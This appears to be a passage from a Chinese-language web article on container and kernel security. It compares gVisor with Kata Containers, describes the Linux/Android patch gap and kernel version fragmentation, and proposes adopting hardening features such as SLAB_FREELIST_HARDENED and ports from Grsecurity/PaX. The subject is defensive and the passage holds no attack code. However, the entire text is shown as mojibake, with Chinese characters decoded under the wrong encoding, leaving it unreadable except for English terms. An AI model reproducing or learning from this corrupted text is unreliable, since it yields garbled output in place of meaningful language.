VMʵÀýµÄ¿Ë¡£¬²¢ÓëÆäËûд´½¨µÄKata VM¹²Ïí£¬ÕâÑù¼õÉÙÁËÆô¶¯Ê±¼äºÍGuest VMÄÚ´æÏûºÄ¡£ Hotplug¹¦ÄÜÔÊÐíVMʹÓÃ×îÉÙµÄ×ÊÔ´£¨ÀýÈçCPU¡¢ÄÚ´æ¡¢virtio¿é£©½øÐÐÒýµ¼£¬²¢ÔÚÒÔºóÇëÇóʱÌí¼ÓÆäËû×ÊÔ´¡£

gVisor VS Kata Container

ÔÚÁ½ÕßÖ®¼ä£¬±ÊÕ߸üԸѡÔñgVisor£¬ÒòΪgVisorÉè¼ÆÉϱÈKata Container¸ü¼ÓµÄ¡°ÇᡱÁ¿¼¶£¬µ«gVisorµÄÐÔÄÜÎÊÌâʼÖÕÊÇÒ»µÀÔÝʱÎÞ·¨ÓâÔ½µÄ¡°Ììǵ¡±¡£×ۺ϶þÕßµÄÓÅÁÓ£¬Kata ContainerĿǰ¸üÊÊºÏÆóÒµÄÚ²¿¡£×ÜÌå¶øÑÔ£¬°²È«ÈÝÆ÷¼¼Êõ»¹Ðè×öÖî¶à̽Ë÷£¬ÒÔ½â¾ö²»Í¬ÆóÒµÄÚ²¿»ù´¡¼Ü¹¹ÉÏÃæÁٵĸ÷ÖÖÌôÕ½¡£

°²È«ÄÚºË

ÖÚËùÖÜÖª£¬AndroidÓÉÓÚÆä¿ªÔ´ÌØÐÔ£¬²»Í¬³§É̶¼Î¬»¤×Å×Ô¼ºµÄAndroid°æ±¾¡£ÒòΪAndroidÄÚºË̬´úÂëÀ´×ÔÓÚLinux kernel upstrem£¬µ±Ò»¸ö©¶´²úÉúÔÚupstremÄںˣ¬°²È«²¹¶¡ÍÆË͵½Google£¬ÔÙ´ÓGoogleÏ·¢µ½¸÷´ó³§ÉÌ£¬×îÖÕµ½ÖÕ¶ËÓû§¡£ÓÉÓÚAndroidÉú̬µÄË鯬»¯£¬²¹¶¡ÖÜÆÚ·Ç³£Ö®³¤£¬Ê¹µÃÖÕ¶ËÓû§µÄ°²È«£¬ÔÚÕâ¹ý³ÌÖÐʼÖÕ´¦ÓÚ¡°¿Õ´°ÆÚ¡±¡£µ±ÎÒÃǰÑÄ¿¹âÖØÐ½¹¾àÔÚLinuxÉÏ£¬ËüҲͬÑù´æÔÚÀàËÆµÄÎÊÌâ¡£

ÄÚºËÃæÁÙµÄÎÊÌâ

ͼ7 ©¶´ÉúÃüÖÜÆÚ£¨The Vulnerability Life Cycle£©

Äں˲¹¶¡

µ±Ò»¸ö°²È«Â©¶´±»Åû¶£¬Í¨³£ÊÇÓÉ©¶´·¢ÏÖÕßͨ¹ýRedhat¡¢OpenSuse¡¢DebianµÈÉçÇø·´À¡»òÖ±½ÓÌá½»ÖÁÉÏÓÎÏà¹Ø×Óϵͳmaintainer¡£ÔÚÆóÒµÄÚ²¿ÃæÁÙ¶à¸ö²»Í¬ÄÚºË´ó°æ±¾¡¢Äں˶¨ÖÆ»¯£¬Õë¶Ô²»Í¬°æ±¾´ÓÉÏÓδúÂëbackportÏà¹Ø²¹¶¡¼°ÖÆ×÷Ïà¹ØÈȲ¹¶¡£¬¶¨ÖÆÄں˻¹Ðè¶Ô²¹¶¡½øÐжþ´Î¿ª·¢£¬ÔÙÉý¼¶Éú²ú»·¾³Äں˻òHotfixÄںˡ£²»½öÐÞ¸´ÖÜÆÚ¹ý³¤£¬¶øÇÒÔÚÐÞ¸´¹ý³ÌÖУ¬ÈËÔ±¹µÍ¨Ò²´æÔÚÒ»¶¨µÄ³É±¾£¬Ò²À­³¤ÁË©¶´Î£ÏÕÆÚ¡£ÔÚΣÏÕÆÚ¼ä£¬ÎÒÃǶÔÓÚ©¶´»ù±¾ÊǺÁÎÞ·À»¤ÄÜÁ¦µÄ¡£

Äں˰汾Ë鯬»¯

Äں˰汾Ë鯬»¯ÔÚÈÎÒâ¾ß±¸Ò»¶¨¹æÄ£µÄ¹«Ë¾¶¼ÊÇÎÞ·¨±ÜÃâµÄÎÊÌâ¡£Ëæ×ż¼ÊõµÄÈÕÐÂÔÂÒ죬²»¶Ïµü´ú£¬»ù´¡¼Ü¹¹Éϵļ¼ÊõÕ»ÐèÒª½Ïа汾µÄÄں˹¦ÄÜÈ¥Ö§³Ö£¬¾Ã¶ø¾ÃÖ®¾Í²úÉúÄں˰汾µÄË鯬»¯¡£Ë鯬»¯ÎÊÌâµÄ´æÔÚ£¬Ê¹µÃÔÚ°²È«²¹¶¡µÄÍÆËÍ·½Ã棬ÔâÓöÁ˺ܴóµÄÌôÕ½¡£±¾Éí²¹¶¡»¹ÐèÒª×öÕë¶ÔÐÔµÄÊÊÅ䣬°üÀ¨²»Í¬°æ±¾µÄÄںˣ¬²¢½øÐвâÊÔÑéÖ¤£¬Ë鯬»¯Ê¹µÃά»¤³É±¾Ò²±äµÃÊ®·Ö¸ß°º¡£×îÖØÒªµÄÊÇ£¬ÓÉÓÚά»¤¹¤×÷Á¿´ó£¬±ØÈ»À­³¤Á˲âÊÔ²¹¶¡µÄʱ¼äÏß¡£Ò²¾ÍÊÇ˵£¬±©Â¶ÔÚ¹¥»÷ÕßÃæÇ°µÄΣÏÕÆÚ±äµÃ¸ü³¤£¬±»¹¥»÷µÄ¿ÉÄÜÐÔÒ²´ó´óÔö¼Ó¡£

Äں˰汾¶¨ÖÆ»¯

ͬÑù£¬Òò²»Í¬¹«Ë¾µÄ»ù´¡¼Ü¹¹²»Í¬¡¢ÐèÇó²»Í¬£¬µ¼ÖµĶ¨ÖÆ»¯ÄÚºËÎÊÌâ¡£¶ÔÓÚ¶¨ÖÆ»¯Äںˣ¬ÎÞ·¨¼òµ¥µÄͨ¹ý´ÓÉÏÓÎÄں˺ϲ¢²¹¶¡£¬»¹Ðè¶Ô²¹¶¡×öһЩ±¾µØ»¯À´ÊÊÅ䶍֯»¯Äںˡ£ÕâÓÖÀ­³¤ÁËΣÏÕÆÚ¡£

½â¾öÖ®µÀ

ÎÒÃÇʹÓð²È«ÌØÐÔÈ¥Õë¶ÔijһÀà©¶´»òÊÇÕë¶ÔijһÀàÀûÓ÷½Ê½×ö·ÀÓùÓë¼ì²â¡£±ÈÈçSLAB_FREELIST_HARDENED£¬Õë¶ÔDouble FreeÀàÐÍ©¶´×öʵʱ¼ì²â£¬ÇÒ·ÀÓùoverwrite freelistÁ´±í£¬ÐÔÄÜËðºÄ½ö0.07%£¨²Î¿¼upstremÄÚºËÔ´Â룬commit id: 2482ddec£©¡£µ±Íê³ÉËùÓÐÈ«²¿µÄ°²È«ÌØÐÔ£¬Â©¶´ÔÚ±»·´À¡Ö®Ç°ºÍ©¶´²¹¶¡±»¼°Ê±ÍÆËÍÖÁÉú²ú»·¾³Ç°£¬¶¼ÎÞÐè¹ØÐÄ©¶´µÄϸ½Ú£¬¾ÍÄÜ·ÀÓù¡£µ±È»£¬°²È«²¹¶¡¸Ã´ò»¹Êǵôò£¬ÕâÀïÎÒÃÇÖ÷Òª½â¾öÔÚ°²È«²¹¶¡×îÖÕÂäÔÚÉú²ú»·¾³¹ý³ÌÖУ¬¡°¿Õ´°ÆÚ¡±¶ÔÓÚ©¶´ÓëÀûÓúÁÎÞ·ÀÓùÄÜÁ¦µÄÎÊÌ⣬ͬʱҲ¿ÉÒÔ¶Ô0dayÓÐÒ»¶¨µÄ¼ì²â¼°·ÀÓùÄÜÁ¦¡£

ʵʩ²ßÂÔ

ÒѾ­ºÏ²¢½øLinuxÖ÷Ïß°æ±¾µÄ°²È«ÌØÐÔ£¬Èç¹û¹«Ë¾µÄÄÚºËÖ§³Ö¸ÃÌØÐÔ£¬Ñ¡Ôñ¿ªÆôÅäÖ㬶ԿªÆôǰºóÄÚºË×öÐÔÄܲâÊÔ£¬·ÖÎö°²È«ÌØÐÔÔ­Àí¡¢ÐÐÒµÊý¾Ý£¬¸ø³öReal World¹¥»÷°¸Àý£¨×Ô¼ºÐ´exploitÈ¥Ö¤Ã÷£©£¬½«±¨¸æ½áÂÛ·´À¡¸øÄÚºËÍŶӡ£ÄÚºËÍŶÓÔÙ×öÆÀ¹À£¬½áºÏ°²È«ÍŶÓÓëÄÚºËÍŶÓË«·½Òâ¼û£¬×îÖÕÆÀ¹ÀÂ䵨¡£

ÒѾ­ºÏ²¢½øLinuxÖ÷Ïß°æ±¾µ«Î´±»ºÏ²¢½øRedhatµÄ°²È«ÌØÐÔ£¬¿ÉÑ¡Ôñ´ÓLinuxÄÚºËÖ÷Ïß°æ±¾ÖÐÒÆÖ²£¬ÕâµãÉÏ´úÂëÖÊÁ¿Éϵõ½Á˱£ÕÏ£¬Í¬Ê±ÉçÇøÒ²×öÁËÐÔÄܲâÊÔ£¬½«ÆäºÏ²¢µ½¹«Ë¾µÄÄÚºËÔÙ×ö¸´²â¡£

δ±»ºÏ²¢½øLinuxÄÚºËÖ÷Ïß°æ±¾£¬´ÓGrsecurity/PaXÖÐ×öÒÆÖ²£¬ÔÚGrsecurity/PaXµÄÖî¶à°²È«ÌØÐÔÖУ¬ÆÀ¹ÀÑ¡Ôñ£¬Ñ¡È¡´úÂë¸Ä¶¯Éٵģ¬ÊÕÒæ¸ßµÄ°²È«ÌØÐÔÓÅÏÈÒÆÖ²¡£±ÈÈç¸Ä¶¯½ÏÉÙµÄÄں˴úÂëÓÖÄÜÓÐЧ½â¾öijһÀàµÄ©¶´£¬ÔÙ´ò¸ö±È·½£¬Dirty CowµÄÈ«Á¿ÐÞ¸´¿ÉÄÜÐèÒª»¨·Ñ1-2ÄêµÄʱ¼ä£¬Èç¹û¼ÓÁËij¸ö°²È«ÌØÐÔ£¬¼´Ê¹Î´ÐÞ¸´Ò²ÄÜ·ÀÓù¡£

Äں˺ó»°

×îºó£¬·ÖÏíһϱÊÕßÑÛÖнÏΪÀíÏëÖеÄ×´¿ö¡£µ±È»£¬ÎÒÃǵøù¾Ýʵ¼ÊÇé¿ö¡°ÒòµØÖÆÒË¡±£¬ÔÚ²»Í¬½×¶Î×ö³ö²»Í¬µÄÈ¡ÉáÓëÑ¡Ôñ¡£

½«ÄÚºËÍŶӿ´³ÉÉçÇø£¬ÎÒÃÇÏòËûÃÇÌá½»´úÂ룬ÈçͬLinuxÄÚºËÉçÇøÓÐRFC(Request for Comment)¡¢Patch ReviewµÈ£¬ÎÞÕùÒéºóºÏ²¢½ø¹«Ë¾Äںˡ£

ÏÈÌôѡʵÓõİ²È«ÌØÐÔÇÒ´úÂëÁ¿Éٵģ¬È¥ÒÆÖ²£¬È¥ÊµÏÖ£¬²¢Â䵨¡£´úÂëÁ¿ÉÙÒâζ×ŶÔÄں˴úÂë¸Ä¶¯ÉÙ£¬³öÎÊÌâµÄ¿ÉÄÜÐÔԽС£¬Îȶ¨ÐÔÔ½¸ß£¬ÐÔÄÜËðºÄÔ½µÍ¡£

Ò»ÄêÍê³É¼¸¸ö°²È«ÌØÐÔ£¬²»ÐèÒª¶à£¬1¡«2¸ö¼´¿É£¬¶ÔÓÚÄÚºË̬µÄ¼Ó¹Ì£¬É÷ÖØÉ÷ÖØÔÙÉ÷ÖØ£¬Æ©Èç¹úÍâG¼Ò¹«Ë¾Êý¾ÝÖÐÐĵÄÄں˷¢°æÇ°´ó¸ÅÐèÒª6¡«7¸öÔÂʱ¼ä×öÐÔÄÜ¡¢Îȶ¨ÐÔ²âÊÔ¡£

ÐèÒª×öµ½¼Ó¹Ìij¸ö°²È«ÌØÐÔºó£¬Ê¹ÓÃ0day»òNdayÈ¥ÑéÖ¤·ÀÓùЧ¹û£¬ÇÒ»ùÓÚ¸ÃÄÚºËÅÜÒµÎñÊÇÎȶ¨£¬ÐÔÄÜËðºÄÔڿɽÓÊÜ·¶Î§Ö®ÄÚ»òÕ߿ɿء£Ã¿¸ö°²È«ÌØÐÔÐèÒª¼¼ÊõÆÀÉó¡£Îª±£ÕÏ´úÂëÖÊÁ¿µÄÎÊÌ⣬ÕÒʵ¼ÊµÄ¸ßÍÌÍÂÒÔ¼°¸ß²¢·¢µÍÑӳٵķþÎñÆ÷С·¶Î§»Ò¶È²âÊÔ£¬ÎÞÕùÒéºó£¬ÔÙÍÆË͸øÄÚºËÍŶӡ£

×îºó£¬ÎÒÃÇ»¹¿ÉÒÔͨ¹ý½«°²È«ÌØÐԵĴúÂëÖ±½ÓÌá½»¸øLinuxÄÚºËÉçÇø£¬Èç¹û´úÂëÓв»×ãµÄµØ·½Ò²¿ÉÒÔºÍÉçÇøÐ­Í¬½â¾ö£¬ºÏ²¢½øLinuxÄÚºËÖ÷Ïß´úÂ룬´Ó¶ø²àÃæÍÆ¶¯Â䵨¡£

   
1646 ´Îä¯ÀÀ       30
Ïà¹ØÎÄÕÂ

ÔÆ¼ÆËãµÄ¼Ü¹¹
¶ÔÔÆ¼ÆËã·þÎñÄ£ÐÍ
ÔÆ¼ÆËãºËÐļ¼ÊõÆÊÎö
Á˽âÔÆ¼ÆËãµÄ©¶´
Ïà¹ØÎĵµ

ÔÆ¼ÆËã¼ò½é
ÔÆ¼ÆËã¼ò½éÓëÔÆ°²È«
ÏÂÒ»´úÍøÂç¼ÆËã--ÔÆ¼ÆËã
ÈídzÎöÔÆ¼ÆËã
Ïà¹Ø¿Î³Ì

ÔÆ¼ÆËãÔ­ÀíÓëÓ¦ÓÃ
ÔÆ¼ÆËãÓ¦ÓÃÓ뿪·¢
CMMIÌåϵÓëʵ¼ù
»ùÓÚCMMI±ê×¼µÄÈí¼þÖÊÁ¿±£Ö¤
×îл¼Æ»®
DeepSeekÔÚÈí¼þ²âÊÔÓ¦ÓÃʵ¼ù 4-12[ÔÚÏß]
DeepSeek´óÄ£ÐÍÓ¦Óÿª·¢Êµ¼ù 4-19[ÔÚÏß]
UAF¼Ü¹¹ÌåϵÓëʵ¼ù 4-11[±±¾©]
AIÖÇÄÜ»¯Èí¼þ²âÊÔ·½·¨Óëʵ¼ù 5-23[ÉϺ£]
»ùÓÚ UML ºÍEA½øÐзÖÎöÉè¼Æ 4-26[±±¾©]
ÒµÎñ¼Ü¹¹Éè¼ÆÓ뽨ģ 4-18[±±¾©]
 
×îÐÂÎÄÕÂ
ÔÆÔ­Éú¼Ü¹¹¸ÅÊö
K8S¸ß¿ÉÓü¯Èº¼Ü¹¹ÊµÏÖ
ÈÝÆ÷ÔÆ¹ÜÀíÖ®K8S¼¯Èº¸ÅÊö
k8s-ÕûÌå¸ÅÊöºÍ¼Ü¹¹
Ê®·ÖÖÓѧ»áÓÃdocker²¿Êð΢·þÎñ
×îпγÌ
ÔÆ¼ÆË㡢΢·þÎñÓë·Ö²¼Ê½¼Ü¹¹
Æóҵ˽ÓÐÔÆÔ­ÀíÓë¹¹½¨
»ùÓÚKubernetesµÄDevOpsʵ¼ù
ÔÆÆ½Ì¨¼Ü¹¹ÓëÓ¦Ó㨰¢ÀïÔÆ£©
Docker²¿Êð±»²âϵͳÓë×Ô¶¯»¯¿ò¼Üʵ¼ù
³É¹¦°¸Àý
±±¾© ÔÆÆ½Ì¨Óë΢·þÎñ¼Ü¹¹Éè¼Æ
ͨÓù«Ë¾GE DockerÔ­ÀíÓëʵ¼ùÅàѵ
ij¾ü¹¤Ñо¿µ¥Î» MDA£¨Ä£ÐÍÇý¶¯¼Ü¹¹£©
ÖªÃûÏû·Ñ½ðÈÚ¹«Ë¾ ÁìÓòÇý¶¯Éè¼Æ
ÉîÛÚijÆû³µÆóÒµ Ä£ÐÍÇý¶¯µÄ·ÖÎöÉè¼Æ